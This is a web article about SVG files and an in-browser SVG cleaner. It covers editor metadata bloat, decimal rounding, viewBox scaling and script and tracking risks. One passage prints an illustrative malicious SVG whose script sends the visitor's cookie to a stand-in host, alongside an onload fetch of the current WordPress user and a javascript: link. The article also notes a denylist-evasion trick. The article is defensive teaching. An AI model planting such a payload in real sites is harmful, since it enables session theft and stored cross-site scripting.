Open a logo.svg in a text editor instead of a design app. What comes up is rarely a drawing. It is an XML document: a DOCTYPE pointing at a W3C address, a comment naming the exact build of Illustrator that produced it, a block of RDF metadata describing a licence nobody asked for, and a style element full of classes called .st0. The artwork is near the bottom, in two or three path elements whose coordinates run to six decimal places.
Two things follow from the file being text. First, it can contain code. The SVG specification allows a script element, event handlers such as onload, and links pointing at javascript:. When a browser treats the file as a document rather than as a picture, that code runs on your domain with your visitor’s session. Second, and far more common, most of the bytes are not the drawing.
This piece is about the file, not about persuading WordPress to accept it. If you are stuck at the upload dialog, why WordPress blocks SVG uploads and how to allow them covers that half. Assume the file is already on your desk and you are deciding what to do with it.
An SVG is a document that happens to look like an image
A JPEG is a container of compressed pixel data. There is no instruction in it, only samples. An SVG is the opposite: a list of instructions the browser executes to produce a picture. That is why a vector never goes soft when you scale it, and also why it can do things a raster file cannot, including fetching a remote file and running JavaScript. Which format belongs where is a separate question, covered in the comparison of WebP, AVIF, JPEG and PNG.
Because it is a document, an SVG can be read and repaired with ordinary text tools. That is what the SVG optimizer below does. It hands the source to the browser’s own XML parser, walks the tree, throws away what does not belong, and serialises the result. Everything happens inside this page: no upload, no network call, no storage, so the file never leaves your tab.
SVG cleaner
Paste SVG source or drop a .svg file, tick what should go, and get a smaller, safer file back. Everything happens in this browser tab: nothing is uploaded.
The file is parsed as XML, so a broken tag is reported instead of being silently mangled. Shapes are never redrawn or merged and ids are kept, so anything your CSS or JavaScript points at still works.
Where the script in an SVG actually runs
An SVG can hold a script element, exactly like an HTML page. It can hold event handler attributes on nearly any element: onload, onclick, onmouseover, and the ones people forget because they exist only in SVG, onbegin, onend and onrepeat on animation elements. A link can point at javascript:, and a foreignObject can carry a block of HTML.
None of that runs when the file is used the way most people use it. An SVG referenced through <img src="logo.svg"> or as a CSS background is rendered in a restricted mode: no scripting, no external resource loading, no interactivity. That is a browser rule, not a WordPress one, and it is why sites have carried a hostile SVG for years with nothing visible happening.
The file becomes live in three other situations: pasted inline as markup, where its script is your script; embedded with object, embed or iframe, where it is a nested document with its own scripting; and opened at its own address, where it is simply a page. The last one matters most, because every file you upload gets an address. /wp-content/uploads/2026/08/logo.svg is a URL whether you link to it or not.
Same origin is what makes this expensive. A script in a file served from your domain reads document.cookie for your domain, and can call admin-ajax.php with whatever session the visitor has. Send the link to a logged in administrator and it runs with administrator rights: stored cross site scripting wearing a harmless looking file extension.
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 99 99"
onload="fetch('/wp-json/wp/v2/users/me')">
<script>location='https://collector.example/?c='+document.cookie</script>
<image href="https://collector.example/pixel.png" width="1" height="1"/>
<a href="javascript:alert(document.domain)"><rect width="99" height="99"/></a>
</svg>
That file draws a plain rectangle. In an img tag it is inert. Opened at its own URL it reads the current user, sends the cookie away, loads a tracking pixel, and turns the canvas into a link that executes script on click.
External references, and what they leak
The second safety category has nothing to do with scripting. An SVG may point at other files: <image href="https://...">, <use href="https://...#icon">, an @import inside a style element, a webfont, or fill="url(https://...)". When the document is live, each one fires a request from the visitor’s browser to somebody else’s server, handing over an IP address, a user agent, a referrer and a timestamp. That is a tracking pixel wearing a logo.
The distinction that matters is internal against external. url(#gradient) points at a definition inside the same file, and a data: URI is the file’s own bytes inlined. Both are content and both are kept on purpose. Only references naming a protocol are dropped: http, https, ftp, file, ws, and the protocol relative //host/path form.
What a sanitiser removes, and why the list is never finished
There are two strategies and they are not equal. A denylist removes constructs known to be dangerous: the script element, attributes starting with on, the javascript: scheme. An allowlist keeps only names on a list of permitted elements and attributes and discards everything else, including things nobody has thought of yet.
Denylists lose over time. Filters scanning for attributes literally named on-something have been walked around by having the document install the handler at runtime instead, using SMIL animation elements that set an attribute by name. The dangerous string never appears where the filter is looking. An allowlist is not fooled, because it never had to predict the trick.
The tool on this page is a cleaner, not a gatekeeper. It lists every finding in the red banner with the offending handler names and URLs quoted, and if something dangerous is found while its option is switched off, the banner still names it, marked “Kept, that option is off” in grey. It never goes quiet about a script it left in. What it cannot do is stand between an untrusted person and your uploads directory.
What the export tools leave behind
Now the boring half, the one you use every week. Illustrator’s export is the loudest. A typical header, before a single shape appears:
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 27.5.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px" y="0px" width="512px" height="512px" viewBox="0 0 512 512"
style="enable-background:new 0 0 512 512;" xml:space="preserve">
<style type="text/css">
.st0{fill:#1D1D1B;}
</style>
Not one line of that draws anything. id="Layer_1" is the name of a panel in the application. x="0px" y="0px" are the defaults for the root element. enable-background belonged to an SVG 1.1 filter feature no browser ever shipped. xmlns:xlink is declared whether or not a single xlink:href exists below it.
Inkscape writes its editor state into the file: a sodipodi:namedview element holding your zoom level, cursor position, window geometry and selected layer, plus an inkscape:version string and an RDF metadata block with Dublin Core fields. Figma exports clean geometry but wraps every frame in a named group and usually a clipPath. Sketch leaves a <desc>Created with Sketch.</desc>. None of it affects rendering.
The cleaner matches this by namespace rather than by prefix, and that is not pedantry. The prefix inkscape: is only a local nickname for the URI http://www.inkscape.org/namespaces/inkscape, and a valid file may call it something else. Namespaces mentioning Adobe, Inkscape, sodipodi, Bohemian Coding, Sketch, Figma, Serif, Vectornator, RDF, Dublin Core or Creative Commons go, with every element in them, the whole metadata element, and the orphaned declarations.
Decimals that describe nothing
Six decimal places specify position to a millionth of a user unit. Work out what that means on screen. An icon with viewBox="0 0 24 24" displayed at 24 CSS pixels on a three times display gets 72 device pixels across. One user unit is three device pixels, so a hundredth of a unit, which is two decimal places, is already a thirty third of a physical pixel.
Print is the case worth keeping two decimals for. Set the same logo 200 mm wide at 300 dpi and those 24 units span roughly 2,360 dots, so a hundredth of a unit lands inside a single dot. That is the honest ceiling, and it is why the decimals field defaults to 2, accepts 0 to 8, and clamps anything outside. For the wider argument, see what actually changes when a design gets printed.
Rounding is also where careless minifiers corrupt files: a regular expression that shortens numbers can turn the hex colour #000012 into #12. This tool only rewrites values that already carry a decimal point or an exponent, and only inside geometry attributes: d, points, transform, viewBox, coordinates, radii, sizes, offsets and opacities. Integers are never touched, and units survive because only the numeric part is replaced.
A realistic saving on an editor export is between a third and two thirds of the bytes, nearly all of it metadata, indentation and decimals. The sample loaded in the tool goes from 863 bytes to 278, which is 67.8 per cent smaller. That counts UTF-8 bytes of the source, so it is the saving before your server compresses anything. SVG is text, and gzip or brotli takes another slice on top, which is why image weight is rarely the first thing to look at when a WordPress site is slow.
viewBox, and why a missing one breaks scaling
viewBox takes four numbers: min-x, min-y, width and height, in user units. It defines the coordinate system the drawing is written in. The width and height attributes are the size of the box the drawing is poured into. The viewBox is the map, width and height are the paper. With both present, the browser scales one onto the other according to preserveAspectRatio, which defaults to xMidYMid meet: fit inside, centred, aspect ratio preserved.
Without a viewBox there is no map, so there is no scaling. The drawing is laid down at one user unit to one pixel and stays there. Set width: 100% in CSS and the box gets wider while the artwork sits at its original size in the top left corner. If the file has no width and height attributes either, a replaced element with no intrinsic dimensions falls back to the CSS default object size of 300 by 150 pixels. That is the mystery where an uploaded logo turns up as a small landscape rectangle with the graphic in one corner.
The tool derives a viewBox only when there is not one already and both width and height are plain numbers, optionally with px or pt. A width of 100% produces nothing, because no honest viewBox follows from a percentage. An existing viewBox is never overwritten, since it may be deliberately cropped or offset. And if the pasted snippet has no xmlns, which happens whenever someone copies a fragment out of a larger file, the SVG namespace is added back, because without it the markup renders as nothing anywhere.
Defaults that are only sometimes safe to drop
Removing attributes set to their default value is the easiest place to break a file, because most of the interesting ones are inherited. A stroke-width="1" looks redundant, but inside a group that sets stroke-width="4", deleting it repaints the shape four times thicker, so each candidate is checked against its ancestors first. Coordinates need the same care: x="0" is dropped on rect, image, use and the root svg, never on mask or tspan, where the initial value is not zero. Whitespace-only text nodes are noise everywhere except inside text, tspan, title, desc, style and script, where they can carry meaning.
What the cleaner deliberately does not do
- It does not redraw paths. No merging of subpaths, no shapes converted to paths, no re-encoded curve commands. Aggressive optimisers do all three, and that is where visible artefacts come from.
- It does not rename ids or touch classes. Stylesheets, scripts and
usereferences elsewhere on your page still point at the same things afterwards. - It does not remove unused defs. A gradient nothing inside the file references may be referenced by the page around it.
- It does not inline or subset fonts, and does not gzip. The byte counts are raw UTF-8, which makes them comparable and slightly pessimistic.
- It counts only
ganddefsas groups. A group holding atitleelement is content, not an empty wrapper.
It also refuses to guess. A mismatched tag gives you “Parse error” with the line and column the browser’s own parser reported, and an empty result box, because half cleaned broken XML is worse than no output. A root element that is not svg is named in the error. Empty input resets the panel to “Nothing pasted yet”.
One behaviour is worth knowing before you experiment with the switches. Turning a safety option off changes the output text, never the preview. The node on the checkered stage always has scripts, handlers, javascript: URLs and external url() removed, and it is built by cloning DOM nodes rather than by assigning innerHTML. You can look at a file you chose not to sanitise without the page executing it.
The rule a cleaner does not replace
Any SVG optimizer, this one included, removes what it recognises. That is a real limit, not false modesty. SVG is a large specification with a long tail of elements, attributes, animation behaviours and embedded HTML, and the interesting attacks are always the constructs nobody thought to check. Stripping script, on-handlers, javascript: URLs and external references handles what turns up in the wild; it promises nothing about next year.
So the rule stands whatever you paste into a text box. SVG upload belongs to roles you would trust with the theme file editor, which means administrators, and on a multi author site arguably not all of them. If people who are not you can upload files, put an allowlist sanitiser in the upload path server side, so safety does not depend on anyone’s memory. Treat an SVG from a client the way you treat a PHP file from a client: it is code until you have read it.
It is worth auditing what is already in there. Filter the media library by file type, which a media library manager that filters by type makes routine, then open the older SVGs in a text editor. The ones uploaded before anyone thought about this still carry a generator comment, an RDF block and a reference to an agency server that closed years ago.
The two halves of this job pull in opposite directions, which is why they get muddled. The safety half is binary and small: a handful of constructs either exist in the file or they do not, and if they exist the file is a liability however nicely it draws. The size half is continuous and rarely urgent, but forty icons across a template is a real number and the work costs nothing. Do them in that order and the decisions are easy.
Read the banner first, and if something is listed, find out where the file came from, because a logo with an external image reference was probably not drawn by the person who sent it. Then clean, compare the preview against what you expected, and check that a viewBox is present, since that attribute decides whether the file scales or sits at 300 by 150 pixels in a corner.
Keep the last stretch honest. Running in your own browser is a genuine advantage over pasting a client’s artwork into an unknown server, and it means you can clean a file under NDA without thinking twice. But it is a workbench, not a gate. The gate is who is allowed to upload.